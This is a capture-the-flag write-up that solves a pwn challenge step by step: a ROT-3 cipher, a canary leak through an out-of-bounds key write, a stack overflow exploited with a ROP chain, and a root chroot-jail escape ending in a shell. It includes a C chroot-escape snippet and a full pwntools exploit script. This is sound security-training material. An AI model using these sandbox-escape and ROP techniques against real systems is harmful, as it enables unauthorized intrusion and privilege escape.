Escape Room
Upon executing the provided binary, we are prompted to decrypt a ciphertext:
└─$ ./prob
[*] Welcome Escape Room Challenge
================================================================
=============================STAGE1=============================
================================================================
[*] Decrypt the cipher text : VwdjhRqhRiHvfdshUrrp
[*] Input your answer.
[>] a
[!] Nope :(
After some reverse engineering, we find that the ciphertext is "encrypted" with ROT-3, and the plaintext is StageOneOfEscapeRoom
.
Next, we are asked to enter a "Stage1 key":
[*] Decrypt the cipher text : VwdjhRqhRiHvfdshUrrp
[*] Input your answer.
[>] StageOneOfEscapeRoom
[*] You clear stage1
[*] Stage1 Key : @j?r]
[>] Give me key of Stage1 :
This is weird, as the key was printed in the previous line: @j?r]
Let's have a closer look at the decompilation of the main function:
int i_1; // [rsp+0h] [rbp-30h]
int i; // [rsp+4h] [rbp-2Ch]
char expected_key[5]; // [rsp+15h] [rbp-1Bh] BYREF
char input_key[5]; // [rsp+1Ah] [rbp-16h] BYREF
_BYTE message[9]; // [rsp+1Fh] [rbp-11h] BYREF
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
strcpy(message, "Clear!!!!");
i_1 = 0;
while ( 1 )
{
if ( (unsigned int)stage1() )
{
for ( i = i_1; i <= i_1 + 4; ++i )
expected_key[i] = key_gen();
printf("[*] Stage1 Key : %s\n", expected_key);
i_1 += 5;
}
printf("[>] Give me key of Stage1 : ");
read(0, input_key, 5u);
if ( !(unsigned int)j_strncmp_ifunc(expected_key, input_key, 5) )
break;
puts("[!] Stage 1 Failed :(");
}
Note that the for loop starts from i = i_1
instead of i = 0
. Additionally, i_1
is incremented by 5 after Stage1 key attempt. Thus, out of bounds access to expected_key
occurs on subsequent attempts.
This allows us to write non-zero bytes to the stack space between expected_key
and the canary, thus leaking the canary when expected_key
is printed.
p = setup()
p.sendlineafter("answer", "StageOneOfEscapeRoom")
seed(0)
key = bytes(gen() for _ in range(5))
print(key)
for i in range(3):
p.sendlineafter(b"Give", b"AAAA")
p.sendlineafter("answer", "StageOneOfEscapeRoom")
p.recvuntil(b"Stage1 Key : ")
r = p.recvuntil("[>]")[:-4]
canary = u64(b"\0"+r[-8:-1])
print(hex(canary))
ROP
Moving over to stage2, we observe a buffer overflow vulnerability:
__int64 stage2()
{
__int64 v0; // rdi
int v1; // eax
char p_n10; // [rsp+Fh] [rbp-221h] BYREF
__int64 length; // [rsp+10h] [rbp-220h] BYREF
__int64 v5; // [rsp+18h] [rbp-218h]
char route[520]; // [rsp+20h] [rbp-210h] BYREF
unsigned __int64 canary; // [rsp+228h] [rbp-8h]
canary = __readfsqword(0x28u);
while ( read(0, &p_n10, 1u) == 1 && p_n10 != 10 )
;
puts("================================================================");
puts("=============================STAGE2=============================");
puts("================================================================");
length = 0;
v5 = 0;
v0 = (unsigned int)time(0);
srandom(v0);
s2_init_map();
s2_print_map(v0, (int)&p_n10);
printf("[>] Input your route length : ");
_isoc99_scanf("%d", &length);
printf("[>] Input your route(e.g. w: Up / a: Left / s: Down / d: Right): ");
do
{
v1 = read(0, &route[v5], length - v5);
v5 += v1;
}
while ( v5 != length );
s2_process_commands(route);
if ( s2_check_win() )
{
puts("[*] You Win!");
return 1;
}
else
{
puts("[*] You Fail!");
return 0;
}
}
The length
entered by the user is not checked against the size of the buffer before user input is read into the buffer.
Since the binary is statically compiled, there are plenty of gadgets available.
chroot escape
However, if one were to attempt a simple system("/bin/sh")
ROP chain, they would find that the resultant shell is essentially useless. The only available binaries are timeout
and socket
.
This is a result of the chroot jail setup by the binary:
__int64 sandbox()
{
return chroot("/root/room/");
}
RUN mkdir -p /root/room/bin \
/root/room/lib/x86_64-linux-gnu \
/root/room/lib64 \
&& cp /bin/sh /root/room/bin/ \
&& cp /usr/bin/socat /root/room/bin/socket \
&& cp /usr/bin/timeout /root/room/bin/timeout \
However, we are still the root user within the container, so it should be possible to breakout of the chroot jail.
With some research, we find that we can escape a chroot using the following code:
int main() {
int dir_fd, x;
mkdir(".42", 0755);
chroot(".42");
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
Translating this into a ROP chain, we have:
pop_rax = 0x0000000000459ac7
pop_rdi = 0x0000000000402ecf
pop_rsi = 0x000000000040b1be
pop_rdx = 0x000000000046d362
read = 0x459060
rop = ROP(e)
rop.call(read, (0, writable, 0x100 ))
rop.raw(pop_rax)
rop.raw(83)
rop.call(syscall, (writable+15,0o777)) # mkdir(".42", 0o777)
rop.call(e.sym.chroot,(writable+15,)) # chroot(".42")
for _ in range(20):
rop.raw(pop_rax)
rop.raw(80)
rop.call(syscall, (writable+10,)) # chdir("..")
rop.call(e.sym.chroot,( writable+13,)) # chroot(".")
pl += rop.chain()
pl2 = b""
pl2 += p64(pop_rax)
pl2 += p64(59)
pl2 += p64(pop_rdi)
pl2 += p64(writable)
pl2 += p64(pop_rsi)
pl2 += p64(0)
pl2 += p64(pop_rdx)
pl2 += p64(0)
pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
pl += pl2
p.sendlineafter(b"length", str(len(pl)+1).encode())
p.sendlineafter(b"route", pl)
pause()
p.sendline(b"/bin/sh\0\0\0..\0.\0.42\0")
p.interactive()
While this works locally, for some reason it failed on the server.
After more debugging (and ROP chain writing), it seems that the mkdir
syscall was failing.
However, the mkdir
syscall is not actually required, as we can use the bin
directory that already exists!
We can easily modify the exploit to use bin
:
pop_rax = 0x0000000000459ac7
pop_rdi = 0x0000000000402ecf
pop_rsi = 0x000000000040b1be
pop_rdx = 0x000000000046d362
read = 0x459060
rop = ROP(e)
rop.call(read, (0, writable, 0x100 ))
rop.call(e.sym.chroot,(writable+15,)) # chroot("bin")
for _ in range(20):
rop.raw(pop_rax)
rop.raw(80)
rop.call(syscall, (writable+10,)) # chdir("..")
rop.call(e.sym.chroot,( writable+13,)) # chroot(".")
pl += rop.chain()
pl2 = b""
pl2 += p64(pop_rax)
pl2 += p64(59)
pl2 += p64(pop_rdi)
pl2 += p64(writable)
pl2 += p64(pop_rsi)
pl2 += p64(0)
pl2 += p64(pop_rdx)
pl2 += p64(0)
pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
pl += pl2
p.sendlineafter(b"length", str(len(pl)+1).encode())
p.sendlineafter(b"route", pl)
pause()
p.sendline(b"/bin/sh\0\0\0..\0.\0bin\0")
p.interactive()
Exploit script
from pwn import *
e = ELF("prob")
context.binary = e
import ctypes
import ctypes.util
from ctypes import c_uint, c_int, c_long
libc = ctypes.CDLL(ctypes.util.find_library("c"))
libc.time.argtypes = [ctypes.POINTER(c_long)]
libc.time.restype = c_long
libc.srand.argtypes = [c_uint]
libc.srand.restype = None
libc.rand.argtypes = []
libc.rand.restype = c_int
def seed(time_offset=0):
current_time = libc.time(None)
adjusted_time = current_time + time_offset
libc.srand(c_uint(adjusted_time & 0xFFFFFFFF))
def gen():
random_val = libc.rand()
result = (random_val % 95) + 32
return result
def setup():
#p = remote("chal.h4c.cddc2025.xyz", 61738)
p = remote("localhost", 35001)
return p
rop = ROP(e)
syscall = 0x00000000004242c6
writable = 0x00000000004e7000+0x300
if __name__ == '__main__':
p = setup()
p.sendlineafter("answer", "StageOneOfEscapeRoom")
seed(0)
key = bytes(gen() for _ in range(5))
for i in range(3):
p.sendlineafter(b"Give", b"AAAA")
p.sendlineafter("answer", "StageOneOfEscapeRoom")
p.recvuntil(b"Stage1 Key : ")
r = p.recvuntil("[>]")[:-4]
canary = u64(b"\0"+r[-8:-1])
print(hex(canary))
p.sendlineafter(b"Give", key)
pl = b"a"*0x208+p64(canary)+p64(0)
pop_rax = 0x0000000000459ac7
pop_rdi = 0x0000000000402ecf
pop_rsi = 0x000000000040b1be
pop_rdx = 0x000000000046d362
read = 0x459060
rop = ROP(e)
rop.call(read, (0, writable, 0x100 ))
rop.call(e.sym.chroot,(writable+15,)) # chroot("bin")
for _ in range(20):
rop.raw(pop_rax)
rop.raw(80)
rop.call(syscall, (writable+10,)) # chdir("..")
rop.call(e.sym.chroot,( writable+13,)) # chroot(".")
pl += rop.chain()
pl2 = b""
pl2 += p64(pop_rax)
pl2 += p64(59)
pl2 += p64(pop_rdi)
pl2 += p64(writable)
pl2 += p64(pop_rsi)
pl2 += p64(0)
pl2 += p64(pop_rdx)
pl2 += p64(0)
pl2 += p64(syscall) # execve("/bin/sh", 0, 0)
pl += pl2
p.sendlineafter(b"length", str(len(pl)+1).encode())
p.sendlineafter(b"route", pl)
pause()
p.sendline(b"/bin/sh\0\0\0..\0.\0bin\0")
p.interactive()